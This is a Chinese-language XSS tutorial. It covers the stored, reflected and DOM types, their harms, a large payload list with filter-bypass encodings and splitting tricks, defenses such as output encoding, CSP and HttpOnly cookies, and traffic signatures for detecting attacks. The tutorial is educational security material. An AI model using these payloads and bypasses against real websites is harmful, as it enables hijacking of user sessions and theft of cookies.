XSS漏洞定义
XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络应用安全漏洞。其主要原理是通过将恶意的脚本代码(如HTML和JavaScript)注入到网页中,当用户浏览该页面时,这些脚本会被浏览器执行,从而达到攻击者的目的。
XSS攻击类型
XSS攻击通常分为三种类型:反射型、存储型和DOM型。
存储型 XSS:持久化,代码是存储在服务器中的,喜欢在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS 比较危险,容易造成蠕虫,盗窃 cookie
反射型 XSS:非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型 XSS 大多数是用来盗取用户的 Cookie 信息。
DOM 型 XSS:不经过后端,DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS 是通过URL传入参数去控制触发的,其实也属于反射型 XSS。
漏洞存在位置
**反射型:**主要发生在搜索框中,恶意代码并没有保存到后端服务器中,而是通过用户的点击进行触发的
**存储型:**主要发生在留言板中,恶意代码被保存到后端服务器中,有服务器进行处理
**DOM型:**主要通过修改前端的DOM节点来形成xss攻击,由前端浏览器处理
区别:反射型和存储型都是由服务器处理的,dom型是由浏览器处理的
危害
1.盗取各种用户账号
2.窃取用户Cookie资料,冒充用户身份进入网站
3.劫持用户会话,执行任意操作;是指操作用户浏览器
4.刷流量,执行弹窗广告
5.传播蠕虫病毒
6.XSS钓鱼攻击
7.网站重定向
DOM型XSS(不经过后端)和反射性XSS(经过后端)具体区别
被攻击对象与触发方式:
**反射型:**攻击者构造一个包含恶意JavaScript代码的URL,并诱骗用户点击。当用户点击该链接时,浏览器会向服务器发送一个包含恶意代码的请求,服务器将包含恶意代码的响应返回给客户端浏览器并执行,从而实现对用户的攻击。
**DOM型:**DOM型XSS的攻击代码并不需要服务器端的参与。攻击者通过构造包含恶意JavaScript代码的URL,诱骗用户点击后,这些代码直接在用户的浏览器上通过DOM操作执行,而不需要经过服务器。
解析位置:
反射型XSS:其恶意脚本的解析和执行主要发生在用户的浏览器上,但触发过程需要服务器的参与。
**DOM型XSS:**完全在用户的浏览器上执行,不需要服务器的参与。攻击代码通过修改页面上的DOM元素来执行恶意操作。
存储时间:
都不持久
XSS三种类型总结
XSS类型 | 存储型 | 反射型 | DOM型 |
---|---|---|---|
触发过程 | 黑客构造XSS脚本后正常用户访问携带XSS脚本的页面 | 正常用户访问携带XSS脚本的URL | 正常用户访问携带XSS脚本的URL |
数据存储 | 数据库 | URL | URL |
谁来输出 | 后端web应用程序 | 后端web应用程序 | 前端Javascript |
输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点 |
是否持久 | 是 | 否 | 否 |
XSS漏洞演示
DOM型XSS
1、打开网站,看到选择语言的按钮,我们选择英语后页面的URL栏有回显
2、那我们直接在default后面加上我们的payload即可。
存储型XSS
直接在输入框输入payload即可
反射型XSS
直接在输入框输入payload
payload及绕过
一些常用的payload
参考:https://www.freebuf.com/articles/web/338123.html
<script>alert(document.cookie)</script>
<script>prompt(document.cookie)</script>
<script>confirm(/xss/)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script> //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等
<script>alert/*dsa*/(1)</script> //绕过黑名单
<script>(alert)(1)</script> //绕过黑名单
<svg/onload=alert(1)>
<body onload=alert("XSS")>
<svg onload="alert(1)"> //过滤 script时
"><svg/onload=alert(1)//
<input value="1" autofocus onfocus=alert(1) x=""> //过滤 script时
<a href="" onclick="alert(1111)">
<iframe src="javascript:alert(1)"></iframe> //过滤 script时
<svg onmousemove="alert(1)">
<input name="name" value=”” onmousemove=prompt(document.cookie) >
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<input type = "button" value ="clickme" onclick="alert('click me')" />
<BODY onload="alert('XSS')">
<IMG SRC="" onerror="alert('XSS')">
<IMG SRC="" onerror="javascript:alert('XSS');">
制表符 绕过滤器的
<IMG SRC="" onerror="javšscript:alert('XSS');">
1.<iframe src=javas cript:alert(1)></iframe> //Tab
2.<iframe src=javas
cript:alert(1)></iframe> //回车
3.<iframe src=javas
cript:alert(1)></iframe> //换行
4.<iframe src=javascript:alert(1)></iframe> //编码冒号
5.<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
<a href=javascript:alert(1)>Click</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<iframe src=javascript:alert(1)>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWHNzVGVzdCIpOzwvc2NyaXB0Pg=="></object>
"><img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">
<script>onerror=alert;throw document.cookie</script>
<script>{onerror=alert}throw 1337</script> //过滤 单引号,双引号,小括号时 没过滤script
<a href="" onclick="alert(1111)">
' οnclick=alert(1111) ' //过滤< >时
http://www.<script>alert(1)</script .com
更多的payload可以去payloadbox/xss-payload-list: 🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List (github.com)查看
常用符号的实体名及编号
显示 | 实体名字 | 实体编号 |
---|---|---|
< | < | < |
> | > | > |
& | & | & |
“ | $quot; | " |
常用的绕过技巧
大小写绕过
用于绕过黑名单(校验报错)安全防护。例如:<ScRipT>alert('XSS')</sCRIpT>
双写绕过
用于绕过黑名单(置空方式)安全防护。例如:<scrscriptipt>alert('XSS')</scrscriptipt>
编码绕过
用于绕过黑名单安全防护十进制编码(同理十六进制,八进制)<iframe src=alert(1)>
采用十进制编码后
<iframe src=javascript:alert(1)>
注意:标签不能编码,可以不加分号,可以在数字前用0填充,还可以把、、	等字符插入代码的头部或任意地方。
URL编码绕过
用于后台使用了URL解码的函数场景(URL中的payload肯定支持URL编码)<script>alert('XSS')</script>
URL编码后%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
Unicode编码绕过
JavaScript支持Unicode编码Unicode编码后<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
注意:不能编码符号和标签
JavaScript伪协议
<a href="alert(1)">xss</a>
支持伪协议的属性有href,lowsrc,bgsound,background,action,dynsr。此方式针对过滤不严谨的系统使用,比如系统只对JS符号和关键字过滤,但是没有对"javascript"过滤,就可以利用此方法绕过。
如果对"javascript"也会过滤,则可以结合其他的绕过技术一起利用,也可能成功绕过。
data伪协议<a/href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">xxx</a>
(老版本浏览器已不支持)
`替换括号
<img src="1111" alert1 />
/和%0a(换行符)替换空格
<img/src/onerror=alert(1)>
<img%0asrc%0aonerror=alert(1)>
跨站拆分法
用于绕过后台的长度限制,将一个代码通过字符串拼接能力拆分成多条代码。
<script>z='document.'</script>
<script>z+='write("'</script>
<script>z+='<script'</script>
<script>z+='>alert(1'</script>
<script>z+=')</script'</script>
<script>z+='>"'</script>
<script></script>
String.fromCharCode()方法
用于黑名单过滤该方法是JavaScript中的字符串方法,用于把ASCII转换成字符串。<script>document.writeln(<script>alert("xss")</script>)</script>
用String.fromCharCode表示后的形式如下:
<script>document.writeln(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,34,41,59,60,47,115,99,114,105,112,116,62))</script>
这个方法需要使用<script>
标签包裹,或者配合JavaScript伪协议使用
XSS防御手段:
输入过滤
- 删除或替换用户输入中的恶意或危险内容。可以使用库或框架中提供的过滤功能,例如使用strip_tags()和htmlspecialchars()函数(在PHP中)来移除HTML标签和转义特殊字符
输出编码
- 使用HTML实体或JavaScript转义序列将特殊字符转换为它们的安全表示形式,例如将<转换为<
使用内容安全策略,定义域名白名单
- W3C提出的CSP是一个HTTP头部,允许网站所有者定义哪些内容可以被加载到页面中。通过CSP,网站可以限制JavaScript的来源,只允许来自可信源的脚本执行,从而防止恶意脚本的注入
设置 Cookie 的 Http Only 属性
在不同的上下文中设置 HttpOnly cookie 的方法:
在 HTTP 响应中
如果你正在使用纯 HTTP/HTTPS(没有特定的后端语言或框架),你可以在 HTTP 响应的 Set-Cookie
头中设置 HttpOnly 属性:
Set-Cookie: mycookie=myvalue; HttpOnly;
使用特定的后端语言或框架
PHP
setcookie('mycookie', 'myvalue', 0, '/', '', false, true);
Node.js (Express.js)
res.cookie('mycookie', 'myvalue', { httpOnly: true });
Python (Flask)
response.set_cookie('mycookie', 'myvalue', httponly=True)
Python (Django)
response.set_cookie('mycookie', 'myvalue', httponly=True)
Java (Servlet)
Cookie myCookie = new Cookie("mycookie", "myvalue");
myCookie.setHttpOnly(true);
response.addCookie(myCookie);
在 Web 浏览器扩展中(如 Chrome Extensions)
如果你使用 chrome.cookies.set
API 设置 cookie,你可以设置 httpOnly
属性为 true
:
chrome.cookies.set({
url: 'https://www.example.com',
name: 'mycookie',
value: 'myvalue',
httpOnly: true
});
请注意,当你设置一个 HttpOnly 的 cookie,你不能再通过 JavaScript 的 document.cookie
在客户端读取或修改它。这就是 HttpOnly 属性的目的:防止客户端脚本访问某些敏感的 cookie,从而增加安全性。
使用 js-cookie 设置 HttpOnly 属性
// 设置
Cookie.set('TokenKey', token, { httpOnly: true });
// 注意:设置 httpOnly 之后,根据浏览器安全策略,只能通过请求地址获取请求头中的 cookie,
// Cookie.get() 等读写方式均获取不到
注意:设置 HttpOnly 之后,根据浏览器安全策略,只能通过请求地址获取请求头中的 cookie,Cookie.get()
等读写方式均获取不到。
流量特征分析
流量特征:
1.特殊字符如<script>
、关键字检测、URL编码%3Cscript%3E
、异常请求头如user-agent
2.Payload中包含HTML或JavaScript标签
3.如果在返回的响应包中发现了与请求包中相同的攻击语句,并且这些语句仍然被包裹在HTML标签内
4.请求中携带XSS脚本,返回值包含脚本并可嵌入HTML页面
5.返回包中的攻击语句未被转义
6.标签的一些事件:比如onclick、ondbclick、onload
7.标签的超链接属性:比如href、src